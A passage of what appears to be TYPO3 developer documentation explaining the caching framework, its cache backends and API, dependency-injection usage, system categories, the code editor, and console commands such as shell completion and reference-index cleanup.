instead of the default database backend with compression for the pages cache:
Most cache backends do not have an internal system to remove old cache entries
that exceeded their lifetime. A cleanup must be triggered externally to find and
remove those entries, otherwise caches could grow to arbitrary size. This could
lead to a slow website performance, might sum up to significant hard disk or
memory usage and could render the server system unusable.
It is advised to always enable the scheduler and
run the "Caching framework garbage collection" task to retain clean and small
caches. This housekeeping could be done once a day when the system is otherwise
mostly idle.
Registry of all configured caches. Each cache is identified by its array
key. Each cache can have the sub-keys
frontend,
backend and
options to configure the used frontend, backend and possible backend
options.
Cache configurations
Unfortunately in TYPO3, all ext_localconf.php files of the extensions
are loaded after the instance-specific configuration from
config/system/settings.php and config/system/additional.php.
This enables extensions to overwrite cache configurations already done for the
instance. All extensions should avoid this situation and should define the very
bare minimum of cache configurations. This boils down to define the array key to
populate a new cache to the system. Without further configuration, the cache
system falls back to the default backend and default frontend settings:
Extensions, like Extbase, define default caches this way,
giving administrators full freedom for specific and possibly quicker setups
(for example, a memory-driven cache for the Extbase reflection cache).
Administrators can overwrite specific settings of the cache configuration in
config/system/settings.php or config/system/additional.php. Here
is an example configuration to switch pages to the Redis backend using
database 3:
Some backends have mandatory as well as optional parameters (which are
documented in the Cache backends section). If not all
mandatory options are defined, the specific backend will throw an exception, if
accessed.
How to disable specific caches
During development it can be convenient to disable certain caches. This is
especially helpful for central caches like the language or autoloader cache.
This can be achieved by using the null backend as
storage backend.
Warning
Do not use this in production, it will slow the system down considerably!
Example configuration to switch the extbase_reflection cache to use the
null backend:
The caching framework can handle multiple caches with different configurations.
A single cache consists of any number of cache entries.
A single cache entry is defined by these fields:
identifier
A string as unique identifier within this cache. It is used to store and
retrieve entries.
data
The data to be cached.
lifetime
A lifetime in seconds of this cache entry. An entry can not be retrieved
from cache, if the lifetime is expired.
tags
Additional tags (an array of strings) assigned to the entry. It is used to
remove specific cache entries.
Tip
The difference between identifier and tags is quite simple: an identifier
uniquely identifies a cache entry, and a tag is additional data applied to
an entry (used for cache eviction). Thus, an identifier refers to a single
cache entry to store and retrieve an entry, and a tag can refer to multiple
cache entries.
About the identifier
The identifier is used to store ("set") and retrieve ("get") entries from the
cache and holds all information to differentiate entries from each other.
For performance reasons, it should be quick to calculate.
Suppose a resource-intensive extension is added as a plugin on two different
pages. The calculated content depends on the page on which it is inserted and
if a user is logged in or not. So, the plugin creates at maximum four different
content outputs, which can be cached in four different cache entries:
page 1, no user logged in
page 1, a user is logged in
page 2, no user logged in
page 2, a user is logged in
To differentiate all entries from each other, the identifier is built from the
page ID where the plugin is located, combined with the information whether a
user is logged in. These are concatenated and hashed. In PHP this could look
like this:
sha1 is a good hash algorithm in this case, as collisions are extremely
unlikely. It scales O(n) with the input length.
When the plugin is accessed, the identifier is calculated early in the program
flow. Next, the plugin looks up for a cache entry with this identifier.
If such an entry exists, the plugin can return the cached content,
else it calculates the content and stores a new cache entry with this identifier.
In general, the identifier is constructed from all dependencies
which specify a unique set of data. The identifier should be based on
information which already exist in the system at the point of its calculation.
In the above scenario the page ID and whether or not a user is logged in
are already determined during the frontend bootstrap and
can be retrieved from the system quickly.
About tags
Tags are used to drop specific cache entries when some information they are
based on is changed.
Suppose the above plugin displays content based on different news entries.
If one news entry is changed in the backend, all cache entries
which are compiled from this news row must be dropped to ensure that
the frontend renders the plugin content again and does not deliver old content
on the next frontend call.
For example, if the plugin uses news number one and two on one page, and news
one on another page, the related cache entries should be tagged with these tags:
page 1, tags news_1, news_2
page 2, tag news_1
If entry 2 is changed, a simple backend logic (probably a hook in
DataHandler) could be created, which drops all cache
entries tagged with news_2. In this case the first entry would be
invalidated while the second entry still exists in the cache after the
operation.
While there is always exactly one identifier for each cache entry,
an arbitrary number of tags can be assigned to an entry and one specific tag
can be assigned to multiple cache entries. All tags a cache entry has are given
to the cache when the entry is stored ("set").
The TYPO3 Core defines and uses several caching framework caches by default.
This section gives an overview of default caches, its usage and behaviour. If
not stated otherwise, the default database backend
with variable frontend is used.
The various caches are organized in groups. Currently, the following groups
exist:
pages
Frontend-related caches.
system
System caches. Flushing system caches should be avoided as much
as possible, as rebuilding them requires significant resources.
lowlevel
Low-level caches. Flushing low-level caches manually should be avoided
completely.
all
All other caches.
Cache clearing commands can be issued to target a particular group. If a cache
does not belong to a group, it will be flushed when the "all" group is flushed,
but such caches should normally be transient
anyway.
This cache is instantiated very early during
bootstrap and can not be re-configured
by instance-specific config/system/settings.php or similar.
Cache entries are located in directory var/cache/code/core/
(for Composer-based installations) and
typo3temp/var/cache/code/core/ (for Classic mode installations). The
full directory and any file in this directory can be safely removed and
will be re-created upon next request. This is especially useful during
development
hash
groups: all, pages
Stores several key-value based cache entries, mostly used during
frontend rendering.
pages
groups: all, pages
The frontend page cache. It stores full frontend pages.
The content is compressed by default to reduce database memory and
storage overhead.
runtime
Runtime cache to store data specific for current request.
Used by several Core parts during rendering to re-use already calculated
data.
Valid for one request only.
Can be re-used by extensions that have similar caching needs.
rootline
groups: all, pages
Cache for rootline calculations.
A quick and simple cache dedicated for Core usage, it should not be
re-used by extensions.
assets
groups: system
Cache for assets.
Examples: backend icons, RTE or JavaScript configuration.
Contains the contents of RSS feeds retrieved by RSS widgets on the
dashboard.
This cache can be used by extension authors for their own RSS widgets.
Tip
In rare cases, for example, when classes that are required during the
bootstrap process are introduced (usually when working on the TYPO3 Core),
cache clearings requests themselves might throw fatal errors.
The solution here is to manually remove the cache files from
var/cache/code/ (for Composer-based installations) or
typo3temp/var/cache/code/ (for Classic mode installations).
Garbage collection task
The Core system provides a scheduler task to
collect the garbage of all cache backends. This is
important for backends like the database backend
that do not remove old cache entries and tags internally. It is highly
recommended to add this scheduler task and run it once in a while (maybe once a
day at night) for all used backends that do not delete entries which exceeded
their lifetime on their own to free up memory or hard disk space.
Cache API
The caching framework architecture is based on the following classes:
\TYPO3\CMS\Core\Cache\Frontend\FrontendInterface
Main interface to handle cache entries of a specific cache. Different
frontends and further interfaces exist to handle different data types.
\TYPO3\CMS\Core\Cache\Backend\BackendInterface
Main interface that every valid storage backend must implement. Several
backends and further interfaces exist to specify specific backend
capabilities. Some frontends require backends to implement additional
interfaces.
Note
The
\TYPO3\CMS\Core\Cache\CacheManager was used before TYPO3 v10.1 to
retrieve an object implementing
FrontendInterface. It is now
recommended to use dependency injection
to retrieve this object and no longer use the
CacheManager directly.
Warning
Do not use the
CacheManager in ext_localconf.php - instead
load caches on demand at the place where they are needed.
Cache frontends
Frontend API
All frontends must implement the API defined in interface TYPO3\CMS\Core\Cache\Frontend\FrontendInterface.
All operations on a specific cache must be done with these methods. The frontend object of a cache is the main object
any cache manipulation is done with, usually the assigned backend object should not be used directly.
Method
Description
getIdentifier
Returns the cache identifier.
getBackend
Returns the backend instance of this cache. It is seldom needed in usual code.
set
Sets/overwrites an entry in the cache.
get
Returns the cache entry for the given identifier.
has
Checks for existence of a cache entry.
Do no use this prior to get() since get()
returns NULL if an entry does not exist.
remove
Removes the entry for the given identifier from the cache.
flushByTag
Flushes all cache entries which are tagged with the given tag.
collectGarbage
Calls the garbage collection method of the backend.
This is important for backends which are unable to do this internally
(like the DB backend).
isValidEntryIdentifier
Checks if a given identifier is valid.
isValidTag
Checks if a given tag is valid.
requireOnce
PhpFrontend only Requires a cached PHP file directly.
Available Frontends
Currently two different frontends are implemented. The main difference are
the data types which can be stored using a specific frontend.
Variable Frontend
Strings, arrays and objects are accepted by this frontend.
Data is serialized before it is passed to the backend.
Tip
The variable frontend is the most frequently used frontend and handles
the widest range of data types.
PHP Frontend
This is a special frontend to cache PHP files. It extends the string frontend
with the method requireOnce() which allows PHP files to be require()'d
if a cache entry exists. This can be used by extensions to cache and speed up loading
of calculated PHP code and becomes handy if a lot of reflection and
dynamic PHP class construction is done.
A backend to be used in combination with the PHP frontend must implement the interface
TYPO3\CMS\Core\Cache\Backend\PhpCapableBackendInterface. Currently the file backend and
the simple file backend fulfill this requirement.
Note
The PHP frontend can only be used to cache PHP files.
It does not work with strings, arrays or objects.
It is not intended as a page content cache.
Cache backends
A variety of storage backends exists. They have different characteristics
and can be used for different caching needs. The best backend depends on
a given server setup and hardware, as well as cache type and usage.
A backend should be chosen wisely, as a wrong decision could end up actually
slowing down a TYPO3 installation.
Backend API
All backends must implement at least interface TYPO3\CMS\Core\Cache\Backend\BackendInterface.
All operations on a specific cache must be done with these methods. There are several further interfaces that can be
implemented by backends to declare additional capabilities. Usually, extension code should not handle cache backend operations
directly, but should use the frontend object instead.
Method
Description
setCache
Reference to the frontend which uses the backend. This method is mostly used internally.
set
Save data in the cache.
get
Load data from the cache.
has
Checks if a cache entry with the specified identifier exists.
remove
Remove a cache entry with the specified identifier.
flush
Remove all cache entries.
collectGarbage
Does garbage collection.
flushByTag
TaggableBackendInterface only Removes all cache entries which are tagged by the specified tag.
findIdentifiersByTag
TaggableBackendInterface only Finds and returns all cache entry identifiers which are tagged by the specified tag.
requireOnce
PhpCapableBackendInterface only Loads PHP code from the cache and require_onces it right away.
freeze
FreezableBackendInterface only Freezes this cache backend.
isFrozen
FreezableBackendInterface only Tells if this backend is frozen.
Common Options
Option
Description
Mandatory
Type
Default
defaultLifetime
Default lifetime in seconds of a cache entry if it is not specified for a specific entry on set()
No
integer
3600
Database Backend
This is the main backend suitable for most storage needs.
It does not require additional server daemons nor server configuration.
The database backend does not automatically perform garbage collection.
Instead the Scheduler garbage collection task should be used.
It stores data in the configured database (usually MySQL)
and can handle large amounts of data with reasonable performance.
Data and tags are stored in two different tables, every cache needs its own set of tables.
In terms of performance the database backend is already pretty well optimized
and should be used as default backend if in doubt. This backend is the default backend if no backend
is specifically set in the configuration.
The Core takes care of creating and updating required database tables "on the fly".
Note
However, caching framework tables which are not needed anymore are not deleted automatically. That is why the database analyzer in the Install Tool will propose you to rename/delete caching framework tables after you changed the caching backend to a non-database one.
For caches with a lot of read and write operations, it is important to tune the MySQL setup.
The most important setting is innodb_buffer_pool_size. A generic goal is to give MySQL
as much RAM as needed to have the main table space loaded completely in memory.
The database backend tends to slow down if there are many write operations
and big caches which do not fit into memory because of slow harddrive seek and write performance.
If the data table grows too big to fit into memory, it is possible to compress given data transparently
with this backend, which often shrinks the amount of needed space to 1/4 or less.
The overhead of the compress/uncompress operation is usually not high.
A good candidate for a cache with enabled compression is the Core pages cache:
it is only read or written once per request and the data size is pretty large.
The compression should not be enabled for caches which are read or written
multiple times during one request.
InnoDB Issues
The database backend for MySQL uses InnoDB tables. Due to the nature of InnoDB, deleting records
does not reclaim the actual disk space. E.g. if the cache uses 10GB,
cleaning it will still keep 10GB allocated on the disk even though phpMyAdmin will show 0 as the cache table size.
To reclaim the space, turn on the MySQL option file_per_table, drop the cache tables and re-create
them using the Install Tool.
This does not by any mean that you should skip the scheduler task. Deleting records still improves performance.
Options
Option
Description
Mandatory
Type
Default
compression
Whether or not data should be compressed with gzip.
This can reduce size of the cache data table, but incurs CPU overhead
for compression and decompression.
No
boolean
false
compressionLevel
Gzip compression level (if the compression option is set to true).
The default compression level is usually sufficient.
-1: Default gzip compression (recommended)
0: No compression
9: Maximum compression (costs a lot of CPU)
No
integer from -1 to 9
-1
Memcached Backend
Memcached is a simple, distributed key/value RAM database.
To use this backend, at least one memcached daemon must be reachable,
and the PECL module "memcache" must be loaded.
There are two PHP memcached implementations: "memcache" and "memcached".
Currently, only memcache is supported by this backend.
Warning and Design Constraints
Memcached is a simple key-value store by design . Since the caching framework
needs to structure it to store the identifier-data-tags relations, for each
cache entry it stores an identifier->data, identifier->tags and a
tag->identifiers entry.
This leads to structural problems:
If memcache runs out of memory but must store new entries,
it will toss some other entry out of the cache
(this is called an eviction in memcached speak).
If data is shared over multiple memcache servers and some server fails,
key/value pairs on this system will just vanish from cache.
Both cases lead to corrupted caches. If, for example, a tags->identifier entry is lost,
dropByTag() will not be able to find the corresponding identifier->data entries
which should be removed and they will not be deleted. This results in old data delivered by the cache.
Additionally, there is currently no implementation of the garbage collection that could rebuild cache integrity.
It is important to monitor a memcached system for evictions and server outages
and to clear caches if that happens.
Furthermore memcache has no sort of namespacing.
To distinguish entries of multiple caches from each other,
every entry is prefixed with the cache name.
This can lead to very long runtimes if a big cache needs to be flushed,
because every entry has to be handled separately and it is not possible
to just truncate the whole cache with one call as this would clear
the whole memcached data which might even hold non TYPO3 related entries.
Because of the mentioned drawbacks, the memcached backend should be used with care
or in situations where cache integrity is not important or if a cache has no need to use tags at all.
Currently, the memcache backend implements the TaggableBackendInterface, so the implementation does allow tagging,
even if it is not advised to used this backend together with heavy tagging.
Warning
Since memcached has no sort of namespacing and access control,
this backend should not be used if other third party systems have access
to the same memcached daemon for security reasons.
This is a typical problem in cloud deployments where access to memcache is cheap
(but could be read by third parties) and access to databases is expensive.
Options
Option
Description
Mandatory
Type
Default
servers
Array of used memcached servers. At least one server must be defined.
Each server definition is a string, allowed syntaxes:
hostname or IP: TCP connect to host on memcached default port
(usually 11211, defined by PHP ini variable memcache.default_port)
hostname:port: TCP connect to host on port
tcp://hostname:port: Same as above
unix:///path/to/memcached.sock: Connect to memcached server using unix sockets
Yes
array
compression
Enable memcached internal data compression.
Can be used to reduce memcached memory consumption,
but adds additional compression / decompression CPU overhead
on the related memcached servers.
No
boolean
false
Redis Backend
Redis is a key-value storage/database.
In contrast to memcached, it allows structured values.
Data is stored in RAM but it allows persistence to disk
and doesn't suffer from the design problems of the memcached backend implementation.
The redis backend can be used as an alternative to the database backend
for big cache tables and helps to reduce load on database servers this way.
The implementation can handle millions of cache entries each with hundreds of tags
if the underlying server has enough memory.
Redis is known to be extremely fast but very memory hungry.
The implementation is an option for big caches with lots of data
because most important operations perform O(1) in proportion to the number of (redis) keys.
This basically means that the access to an entry in a cache with a million entries
is not slower than to a cache with only 10 entries,
at least if there is enough memory available to hold the complete set in memory.
At the moment only one redis server can be used at a time per cache,
but one redis instance can handle multiple caches without performance loss when flushing a single cache.
Attention
The scheduler garbage collection task should be run regularly to
find and delete old cache tags entries. These do not expire on their own and
would remain in memory indefinitely - unless cache is flushed.
The implementation is based on the PHP phpredis module,
which must be available on the system.
Warning
Please check the section on
configuration and monitor
memory usage (and eviction, if enabled). Otherwise, you may run into
problems, if not enough memory for the cache entries is reserved in the Redis
server (maxmemory).
Note
It is important to monitor the redis server and tune its settings
to the specific caching needs and hardware capabilities.
There are several articles on the net and the redis configuration file
contains some important hints on how to speed up the system if it reaches bounds.
A full documentation of available options is far beyond this documentation.
Redis example
The Redis caching backend configuration is very similar to that of other
backends, but there is one caveat.
TYPO3 caches should be separated in case the same keys are used.
This applies to the pages and pagesection caches.
Both use "tagIdents:pageId_21566" for a page with an id of 21566.
How you separate them is more of a system administrator decision. We provide
examples with several databases but this may not be the best option
in production where you might want to use multiple cores (which do not
support databases). The separation has the additional advantage that
caches can be flushed individually.
If you have several of your own caches which each use unique keys (for example
by using a different prefix for the cache identifier for each cache), you can
store them in the same database, but it is good practice to separate the core
caches.
In practical terms, Redis databases should be used to separate different keys
belonging to the same application (if needed), and not to use a single Redis
instance for multiple unrelated applications.
Activate a persistent connection to redis server. This could be a benefit under high load cloud setups.
No
boolean
false
database
Number of the database to store entries. Each cache should use its own database,
otherwise all caches sharing a database are flushed if the flush operation
is issued to one of them. Database numbers 0 and 1 are used and flushed by the Core unit tests
and should not be used if possible.
No
integer
password
Password used to connect to the redis instance if the redis server needs authentication.
Warning
The password is sent to the redis server in plain text.
No
string
compression
Whether or not data compression with gzip should be enabled.
This can reduce cache size, but adds some CPU overhead for the compression
and decompression operations in PHP.
No
boolean
false
compressionLevel
Set gzip compression level to a specific value. The default compression level is usually sufficient.
-1: Default gzip compression (recommended)
0: No compression
9: Maximum compression (but more CPU overhead)
No
integer from -1 to 9
-1
Redis server configuration
This section is about the configuration on the Redis server, not the client.
For the flushing by cache tags to work, it is important that the integrity of
the cache entries and cache tags is maintained. This may not be the case,
depending on which eviction policy (maxmemory-policy) is used. For example,
for a page id=81712, the following entries may exist in the Redis page cache:
If entries are evicted (due to memory shortage), there is no mechanism in
place which ensures that all entries which are related, will be evicted. If
maxmemory-policy allkeys-lru is used, for example, this may
result in the situation that the cache entry (identData) still exists, but the
tag entry (tagIdents) does not. The tag entry reflects the relation
"cache tag => cache identifier" and is used for
RedisBackend::flushByTag()). If this entry is gone, the cache
can no longer be flushed if content is changed on the page or an explicit
flushing of the page cache for this page is requested. Once this is the case,
cache flushing (for this page) is only possible via other means (such as full
cache flush).
Because of this, the following recommendations apply:
Allocate enough memory (maxmemory) for the cache.
Use the maxmemory-policyvolatile-ttl. This will ensure
that no tagIdents entries are removed. (These have no expiration date).
Regularly run the TYPO3 scheduler garbage collection task for the Redis cache
backend.
Monitor evicted_keys in case an eviction policy is used.
Monitor used_memory if eviction policy noeviction is used. The
used_memory should always be less then maxmemory.
Tip
The information about evicted_keys etc. can be obtained via redis-cli and
the info command or via php-redis. Further information of the results of
info is in the documentation.
(recommended) Will flush only entries with an expiration date. Should be ok
with TYPO3.
noeviction
(Not recommended) Once memory is full, no new entries will be saved to cache.
Only use if you can ensure that there is always enough memory.
allkeys-lru, allkeys-lfu, allkeys-random
(Not recommended) This may result in tagIdents being removed, but not the
related identData entry, which makes it impossible to flush the cache
entries by tag (which is necessary for TYPO3 cache flushing on changes to
work and the flush page cache to work for specific pages).
The file backend stores every cache entry as a single file to the file system.
The lifetime and tags are added after the data part in the same file.
This backend is the big brother of the Simple file backend and implements additional interfaces. Like the simple file
backend it also implements the PhpCapableInterface, so it can be used with PhpFrontend. In contrast to
the simple file backend it furthermore implements TaggableInterface and FreezableInterface.
A frozen cache does no lifetime check and has a list of all existing cache entries that is reconstituted during initialization.
As a result, a frozen cache needs less file system look ups and calculation time if accessing cache entries. On the other
hand, a frozen cache can not manipulate (remove, set) cache entries anymore. A frozen cache must flush the complete cache
again to make cache entries writable again. Freezing caches is currently not used in the TYPO3 Core. It can be an option
for code logic that is able to calculate and set all possible cache entries during some initialization phase, to then freeze
the cache and use those entries until the whole thing is flushed again. This can be useful especially if caching PHP code.
In general, the backend was specifically optimized to cache PHP code, the get and set operations have low
overhead. The file backend is not very good with tagging and does not scale well with the number of tags. Do not use this
backend if cached data has many tags.
Warning
The performance of flushByTag() is bad and scales just O(n).
On the contrary performance of get() and set() operations.
is good and scales well. Of course if many entries have to be handled, this might
still slow down after a while and a different storage strategy should be used
(e.g. RAM disks, battery backed up RAID systems or SSD hard disks).
Options
Option
Description
Mandatory
Type
Default
cacheDirectory
The directory where the cache files are stored. By default it is assumed that the directory is below
TYPO3_DOCUMENT_ROOT. However, an absolute path can be selected, too. Every cache should be assigned
its own directory, otherwise flushing of one cache would flush all other caches within the same directory as well.
No
string
typo3temp/cache/
Simple File Backend
The simple file backend is the small brother of the file backend. In contrast to most
other backends, it does not implement the TaggableInterface, so cache entries can not be tagged and flushed
by tag. This improves the performance if cache entries do not need such tagging. The TYPO3 Core uses this backend
for its central Core cache (that hold autoloader cache entries and other important cache entries). The Core cache is
usually flushed completely and does not need specific cache entry eviction.
PDO Backend
The PDO backend can be used as a native PDO interface to databases which are connected to PHP via PDO.
It is an alternative to the database backend if a cache should be stored in a database which is otherwise
only supported by TYPO3 dbal to reduce the parser overhead.
The garbage collection is implemented for this backend and should be called to clean up hard disk space or memory.
Note
There is currently very little production experience with this backend, especially not with a capable database like Oracle.
Any feedback for real life use cases of this cache is appreciated.
Options
Option
Description
Mandatory
Type
Default
dataSourceName
Data source name for connecting to the database. Examples:
mysql:host=localhost;dbname=test
sqlite:/path/to/sqlite.db
sqlite::memory
Yes
string
username
Username for the database connection.
No
string
password
Password to use for the database connection.
No
string
Transient Memory Backend
The transient memory backend stores data in a PHP array. It is only valid for one request. This becomes handy if code
logic needs to do expensive calculations or must look up identical information from a database over and over again
during its execution. In this case it is useful to store the data in an array once and lookup the entry from the
cache for consecutive calls to get rid of the otherwise additional overhead. Since caches are available system wide and
shared between Core and extensions they can profit from each other if they need the same information.
Since the data is stored directly in memory, this backend is the quickest backend available. The stored data adds to
the memory consumed by the PHP process and can hit the memory_limit PHP setting.
Null Backend
The null backend is a dummy backend which doesn't store any data and always returns false
on get(). This backend becomes handy in development context to practically "switch off" a cache.
Developer information
This chapter is aimed at extension authors who want to use the caching
framework for their needs. It is about how to use the framework properly. For
details about its inner working, please refer to the
section about architecture.
Example usages can be found throughout the TYPO3 Core, in particular in the
system extensions core and extbase.
Cache registration
Registration of a new cache should be done in an extension's
ext_localconf.php. The example below defines an empty sub-array in
cacheConfigurations. Neither frontend nor backend are defined: The cache
manager will choose the default
variable frontend and the
database backend by default.
The null coalescing assignment operator (
??=) check is used to
enable administrators to overwrite configuration of caches in
config/system/settings.php. During
bootstrap, any ext_localconf.php is loaded
afterconfig/system/settings.php and
config/system/additional.php are loaded, so it is important to make
sure that the administrator did not already set any configuration of the
extension's cache.
If special settings are needed, for example, a specific backend (like the
transient memory backend), it can be defined
with an additional line below the cache array declaration. The extension
documentation should hint an integrator about specific caching needs or setups
in this case.
Tip
Extensions should not force specific settings, therefore the null coalescing
assignment operator (
??=) is used to allow administrators to
overwrite those settings. It is recommended to set up a cache configuration
with sane defaults, but administrators should always be able to overwrite
them for whatever reason.
services:# Place here the default dependency injection configurationcache.myext_mycache:class:TYPO3\CMS\Core\Cache\Frontend\FrontendInterfacefactory:['@TYPO3\CMS\Core\Cache\CacheManager','getCache']arguments:['myext_mycache']
The name of the service for the injection configuration is
cache.myext_mycache, the name of the cache is myext_mycache (as
defined in
ext_localconf.php). Both can be anything you like, just make
sure they are unique and clearly hint at the purpose of your cache.
Here is some example code which retrieves the cache via dependency injection:
EXT:my_extension/Classes/MyClass.php
<?phpnamespaceMyVendor\MyExtension;
useTYPO3\CMS\Core\Cache\Frontend\FrontendInterface;
finalclassMyClass{
publicfunction__construct(
private readonly FrontendInterface $cache,
){}
//...privatefunctiongetCachedValue(string $cacheIdentifier, array $tags, int|null $lifetime): array{
// If value is false, it has not been cached
$value = $this->cache->get($cacheIdentifier);
if ($value === false) {
// Store the data in cache
$value = $this->calculateData();
$this->cache->set($cacheIdentifier, $value, $tags, $lifetime);
}
return $value;
}
privatefunctioncalculateData(): array{
$data = [];
// todo: implementreturn $data;
}
}
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Tip
It is not needed to call
$this->cache->has() before accessing cache
entries with
$this->cache->get() as the latter returns
false
if no entry exists.
Since the auto-wiring feature of the
dependency injection container cannot detect which cache configuration should be
used for the
$cache argument of
MyClass, the container
service configuration needs to
be extended:
EXT:my_extension/Configuration/Services.yaml
services:# Place here the default dependency injection configuration# and the configuration of the cache from aboveMyVendor\MyExtension\MyClass:arguments:$cache:'@cache.myext_mycache'
The frontend cache collector API is available as a PSR-7 request attribute to
collect cache tags and their corresponding lifetime. Find more information in
the chapter Frontend cache collector.
System categories
TYPO3 provides a generic categorization system.
Categories can be created in the backend like any other type of
record.
A TCA field of the column type category is
available.
Pages, content elements and files contain category fields by default.
Using Categories
Managing Categories
System categories are defined like any other record. Each category
can have a parent, making a tree-like structure.
A category with a parent defined
The Items tab shows all related records, for example all records
that have been marked as belonging to this category.
Adding categories to a table
Categories can be added to a table by defining a TCA field of the TCA column
type category. While using this type, TYPO3
takes care of generating the necessary TCA configuration and also adds
the database column automatically. Developers only have to configure the
TCA column and add it to the desired record types:
The newly added field to define relations to categories
Using categories in FlexForms
It is possible to create relations to categories also in
FlexForms.
Due to some limitations in FlexForm, the property
relationshipmanyToMany is not supported. Therefore, the default value for this property
is oneToMany.
The
\TYPO3\CMS\Core\Category\Collection\CategoryCollection
class provides the API for retrieving records related
to a given category. It is extended by class
\TYPO3\CMS\Frontend\Category\Collection\CategoryCollection
which does the same job but in the frontend, i.e.
respecting all enable fields and performing version
and language overlays.
The main method is
load() which will return a
traversable list of items related to the given category.
Here is an example usage, taken from the RECORDS content object:
$collection = \TYPO3\CMS\Frontend\Category\Collection\CategoryCollection::load(
$aCategory,
true,
$table,
$relationField
);
if ($collection->count() > 0) {
// Add items to the collection of records for the current tableforeach ($collection as $item) {
$tableRecords[$item['uid']] = $item;
// Keep track of all categories a given item belongs toif (!isset($categoriesPerRecord[$item['uid']])) {
$categoriesPerRecord[$item['uid']] = [];
}
$categoriesPerRecord[$item['uid']][] = $aCategory;
}
}
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As all collection classes in the TYPO3 Core implement the
Iterator interface, it is also possible to use expected methods like
next(),
rewind(), etc. Note that methods such as
add() will only add items to the collection temporarily.
The relations are not persisted in the database.
Usage with TypoScript
In the frontend, it is possible to get collections of
categorized records loaded into a RECORDS content object
for rendering. Check out the
categories property.
In most aspects, system categories are treated like any other record. They can
be viewed or edited by editors if they are stored in a folder where the editor
has access to and if the table
sys_category is allowed in the field
Tables (listing) and Tables (modify) in the tab
Access Lists of the user group.
Additionally it is possible to set Mounts and Workspaces >
Category Mounts in the user group. If at
least one category is set in the category mounts only the chosen categories are
allowed to be attached to records.
Code editor
Changed in version 13.0
The code editor functionality was moved from the optional "t3editor" system
extension into the "backend" system extension. The code editor is therefore
always available.
Checks whether the previous system extension is installed via
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::isLoaded('t3editor')
are now obsolete.
Extensions may configure backend fields to use the code editor by TCA. The
editor is only available for fields of type text. By
setting the
renderType to
codeEditor the syntax highlighting can
be activated.
By setting the property format
the mode for syntax highlighting can be chosen. Allowed values:
The following configuration options are available:
<identifier>
<identifier>
Type
string
Required
true
Represents the unique identifier and format code of the mode
(css in this example). The format code is used in TCA to
define the CodeMirror mode to be used.
Holds the JavaScriptModuleInstruction of the CodeMirror module.
extensions
extensions
Type
array
Binds the mode to specific file extensions. This is important for using
the code editor in the module File > Filelist.
default
default
Type
bool
If set, the mode is used as fallback if no sufficient mode is available.
By factory default, the default mode is html.
Console commands (CLI)
It is possible to run TYPO3 scripts from the command line.
This functionality can be used to set up cron jobs, for example.
TYPO3 uses Symfony commands API for writing CLI (command line interface) commands.
These commands can also be run from the TYPO3
scheduler if this option is not
disabled in the Configuration/Services.yaml.
The starting point for the commands differs depending on the type of your
TYPO3 installation.
For installations with Composer, the starting point is the project
folder, which also contains the composer.json file of the project.
The CLI commands usually start with vendor/bin/typo3.
For Classic mode installations (without Composer), the starting point is usually
the web root, so CLI commands start with typo3/sysext/core/bin/typo3.
By default, it is possible to run a command from the TYPO3 scheduler as well. To do this, select the task Execute console commands
followed by your command in the Schedulable Command field.
Note
You need to save and reopen the task to define command arguments.
In order to prevent commands from being set up as scheduler tasks,
see 1. Register the command.
The extension
helhum/typo3-console
ships many commands to execute TYPO3
actions, which otherwise would only be accessible via the TYPO3 backend.
This page assumes that the code is run on a Composer based installation with
default binaries location. Here you can read how to run them in general and
on Classic mode installations:
Run a command from the command line.
The shell type (e.g. "bash"), the value of the "$SHELL" env var will be used if this is not given
Options
--debug
--debug
Tail the completion debug log
Value
None allowed
Default value
false
Help
The completion command dumps the shell completion script required
to use shell autocompletion (currently, bash, fish, zsh completion are supported).
Static installation
Dump the script to a global completion file and restart your shell:
vendor/vendor/bin/typo3 completion | sudo tee /etc/bash_completion.d/typo3
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Or dump the script to a local file and source it:
vendor/vendor/bin/typo3 completion > completion.sh
# source the file whenever you use the project
source completion.sh
# or add this line at the end of your "~/.bashrc" file:
source /path/to/completion.sh
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Dynamic installation
Add this to the end of your shell configuration file (e.g. "~/.bashrc"):
Variable TYPO3_DB_PASSWORD (option --password) can be used to provide a
password for the database and TYPO3_SETUP_ADMIN_PASSWORD
(option --admin-user-password) for the admin user password.
Using this can be a security risk since the password may end up in shell
history files. Prefer the interactive mode. Additionally, writing a command
to shell history can be suppressed by prefixing the command with a space
when using bash or zsh.
If set, a locked TYPO3 Backend will redirect to URI specified with this argument. The URI is saved as a string in the lockfile that is specified in the system configuration.
Variable "TYPO3_BE_USER_PASSWORD" and options "-p" or "--password" can be
used to provide a password. Using this can be a security risk since the password
may end up in shell history files. Prefer the interactive mode. Additionally,
writing a command to shell history can be suppressed by prefixing the command
with a space when using bash or zsh.
If this option is set, the references will not be removed, but just the output which references would be deleted are shown
Value
None allowed
Default value
false
--update-refindex
--update-refindex
Setting this option automatically updates the reference index and does not ask on command line. Alternatively, use -n to avoid the interactive mode
Value
None allowed
Default value
false
Help
Assumptions:
- a perfect integrity of the reference index table (always update the reference index table before using this tool!)
- all database references to check are integers greater than zero
- does not check if a referenced record is inside an offline branch, another workspace etc. which could make the reference useless in reality or otherwise question integrity
Records may be missing for these reasons (except software bugs):
- someone deleted the record which is technically not an error although it might be a mistake that someone did so.
- after flushing published versions and/or deleted-flagged records a number of new missing references might appear; those were pointing to records just flushed.
An automatic repair is only possible for managed references are (not for soft references), for
offline versions records and non-existing records. If you just want to list them, use the --dry-run option.
The references in this case are removed.
If the option "--dry-run" is not set, all managed files (TCA/FlexForm attachments) will silently remove the references
to non-existing and offline version records.
All soft references with relations to non-existing records, offline versions and deleted records
require manual fix if you consider it an error.
Manual repair suggestions:
- For soft references you should investigate each case and edit the content accordingly.
- References to deleted records can theoretically be removed since a deleted record cannot be selected and hence
your website should not be affected by removal of the reference. On the other hand it does not hurt to ignore it
for now. To have this automatically fixed you must first flush the deleted records after which remaining
references will appear as pointing to Non Existing Records and can now be removed with the automatic fix.
If you want to get more detailed information, use the --verbose option.
If this option is set, the records will not actually be deleted, but just the output which records would be deleted are shown
Value
None allowed
Default value
false
Help
Assumption: All actively used records on the website from TCA configured tables are located in the page tree exclusively.
All records managed by TYPO3 via the TCA array configuration has to belong to a page in the page tree, either directly or indirectly as a version of another record.
VERY TIME, CPU and MEMORY intensive operation since the full page tree is looked up!
Automatic Repair of Errors:
- Silently deleting the orphaned records. In theory they should not be used anywhere in the system, but there could be references. See below for more details on this matter.
Manual repair suggestions:
